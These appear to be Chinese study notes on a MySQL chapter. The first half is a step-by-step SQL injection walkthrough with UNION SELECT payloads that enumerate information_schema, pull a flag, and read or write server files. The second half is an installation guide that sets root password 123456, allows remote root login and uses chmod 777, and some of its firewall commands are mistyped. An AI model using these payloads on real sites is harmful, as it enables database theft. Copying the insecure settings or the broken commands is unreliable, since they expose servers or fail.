首页 > 其他分享 >第十四章读书笔记

第十四章读书笔记

时间:2022-11-17 08:22:38浏览次数:47  
标签:读书笔记 数据库 usr mysql 第十四章 local select schema

知识点归纳

问题和解决思路

SQL注入怎么实现?

基本流程

0)根据网站功能,猜测哪些地方可能存在注入(select insert注册 update delete)
1) 判断是否存在注入点;
and 1=1 考虑参数类型(闭合特殊符号,JSON)和提交方式post cookie
没有回显即盲注
2) 判断字段长度;order by
3)判断字段回显位置;union select 1,2,3;--+ union select ‘a,’b’,’c’;--+(有时候会过滤数字)
盲注
4) 判断数据库信息;
不是MySQL高版本就直接上sqlmap
Mongdb 用kali 的NoSQLAttack
version()版本;database()数据库;user()用户;
操作系统信息:@@version_compile_os
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
5) 查找数据库名,表名,列名;group_concat(字段/列名)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
Information_schema 下面有三张表:
information_schema.schemata 爆出所有数据库名字
该表中的字段:
Schema_name 存储了MySQL所有数据库的名称

union select 1, group_concat(schema_name) 3,4 from information_schema.schemata;

Information_schema.tables 爆出某个数据库下的所有表的名字
该表中的字段:
table_schema标志当前表的数据库名
Table_name 标志当前表的名称

union select 1, group_concat(table_name) 3,4 from information_schema.tables where table_schema=database();

information_schema.columns 爆出某个数据库某个表下所有字段的名字
该表中的字段:
column_name 标志当前字段的名字
Table_name 标志当前字段所属表的名字
(跨库)Table_schema 标志当前字段所属表所属的数据库名字

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g') and table_schema=’跨库’,3,4#

6)在某个数据库某个表中,查询字段下面的数据
-1' union select 1,(select skctf_flag from fl4g),3,4#
-1' union select 1,skctf_flag,3,4 from fl4g;--+

7) 查找数据库表中所有字段以及字段值;
8) 猜解账号密码;
9) 登陆管理员后台。
10) 有权限 读文件和写文件 写:secure_file_priv != NULL
读文件: union select 绝对路径 load_file(‘C:/flag.txt’); 查看网页源代码查看
写入文件:union select into outfile(‘C:/1.php’);

实践内容

mysql安装

  1. 去官网下载安装包
    解压文件
    tar -zxvf mysql-8.0.11-linux-glibc2.12-i686.tar.gz

  2. 移动压缩包到usr/local目录下,并重命名文件
    mv /root/mysql-8.0.11-linux-glibc2.12-i686 /usr/local/mysql

  3. 在MySQL根目录下新建一个文件夹data,用于存放数据
    mkdir data

  4. 创建 mysql 用户组和 mysql 用户
    groupadd mysql
    useradd -g mysql mysql

  5. 改变 mysql 目录权限
    chown -R mysql.mysql /usr/local/mysql/

  6. 初始化数据库
    创建mysql_install_db安装文件

mkdir mysql_install_db
chmod 777 ./mysql_install_db
  1. 初始化
bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data //初始化数据库

记录好自己的临时密码:twi=Tlsi<0O!

这里遇到了问题没有libnuma.so.1

需要安装 libnuma
yum install libnuma
yum -y install numactl
yum install libaio1 libaio-dev

  1. mysql配置
    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
    修改my.cnf文件
    vim /etc/my.cnf
[mysqld]
    basedir = /usr/local/mysql   
    datadir = /usr/local/mysql/data
    socket = /usr/local/mysql/mysql.sock
    character-set-server=utf8
    port = 3306
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
[client]
    socket = /usr/local/mysql/mysql.sock
    default-character-set=utf8
  1. 建立MySQL服务
    cp -a ./support-files/mysql.server /etc/init.d/mysqld
    cp mysql.server /etc/init.d/mysql
    chmod +x /etc/init.d/mysql

  2. 添加到系统服务
    chkconfig --add mysql
    cp -a ./support-files/mysql.server /etc/init.d/mysqld
    chmod +x /etc/rc.d/init.d/mysqld
    chkconfig --add mysqld

  3. 检查服务是否生效
    chkconfig --list mysqld

  4. 配置全局环境变量
    vim /etc/profile
    export PATH=$PATH:/usr/local/mysql/bin:/usr/local/mysql/lib
    source /etc/profile

  5. 启动MySQL服务
    service mysql start

查看初始密码

cat /root/.mysql_secret

  1. 登录MySQL
    mysql -uroot -p密码

修改密码:

SET PASSWORD FOR 'root'@localhost=PASSWORD('123456'); #对应的换成你自己的密码即可了。

设置可以远程登录
mysql>use mysql
mysql>update user set host='%' where user='root' limit 1;
mysql>flush privileges;
然后检查3306端口是否开放
netstat -nupl|grep 3306

开放3306端口
firewall -cmd --permanent --add-prot=3306/tcp

重启防火墙
firewall -cmd --reload

数据库操作

显示数据库、创建数据库、删除数据库

使用数据库,创建表,显示表,描述表,删除表

增删改查,运行sql脚本


标签:读书笔记,数据库,usr,mysql,第十四章,local,select,schema
From: https://www.cnblogs.com/zhou-huilin/p/16898242.html

相关文章

  • 《Go 语言并发之道》读书笔记(二)
    今天这篇笔记重点讲goroutine首先怎么定义goroutine很简单,在方法前面加上go就可以了funcmain(){ gosayHello()}funcsayHello(){ fmt.Println("hello")}也......
  • 第二章读书笔记
    03运行超市抹零结账行为money_all=56.75+72.91+88.50+26.37+68.51money_all_str=str(money_all)print("商品总金额为:"+money_all_str)money_real=int(money_all)money_rea......
  • 20201306吴龙灿第十四章学习笔记
    知识点归纳第十四章MySQL数据库系统数据库什么是数据库数据库就是存储数据的仓库,其本质是一个文件系统,数据按照特定的格式将数据存储起来,用户可以对数据库中的数据进......
  • 《信息安全与设计》第十四章学习笔记
    MySQL数据库系统知识点MySQL简介1.MySQL是一个关系数据库系统在关系数据库中,数据存储在表中。每个表由多个行和列组成。表中的数据相互关联。表也可能与其他表有关联。......
  • 第十四章学习笔记
    第十四章MySQL数据库系统1.MySQL介绍MySQL是一个关系数据库系统在关系数据库中,数据存储在表中。每个表由多个行和列组成。表中的数据相互关联。表也可能与其他表有关......
  • 第十四章学习笔记
    第十四章学习笔记第十四章MySQL数据库系统1.MySQL介绍MySQL是一个关系数据库系统在关系数据库中,数据存储在表中。每个表由多个行和列组成。表中的数据相互关联。表也可......
  • 20201208史逸霏第十四章学习笔记
    第14章:MySQL数据库系统知识点归纳总结:本章讨论了MySQL关系数据库系统;介绍了MySQL并指出了它的重要性;MySQL简介MySQL是一个关系数据库系统在关系数据库中,数据存储在......
  • 十三章读书笔记
    目录第13章学习笔记一、梗概二、知识点归纳1、TCP/IP协议2、IP主机和IP地址3、IP协议4、IP数据包格式5、UDP6、TCP7、套接字编程1)套接字地址2)套接字API三、最有收获的内容......
  • Head First Java 读书笔记 15章
    第15章:网络与线程(网络联机)在Java中,所有网络运作的低层细节都已经由java.net函数库处理。Java中,传送和接收网络上的数据,是在链接上使用不同链接串流的输入和输出。什么......
  • 【《硬件架构的艺术》读书笔记】02 时钟和复位
    2.1概述这章主要内容是ASIC设计时的一些建议,这些建议独立于EDA和工艺,主要针对模块设计和存储器接口。2.2同步设计同步设计特点:单个主时钟和单个主置位/复位信号驱动设......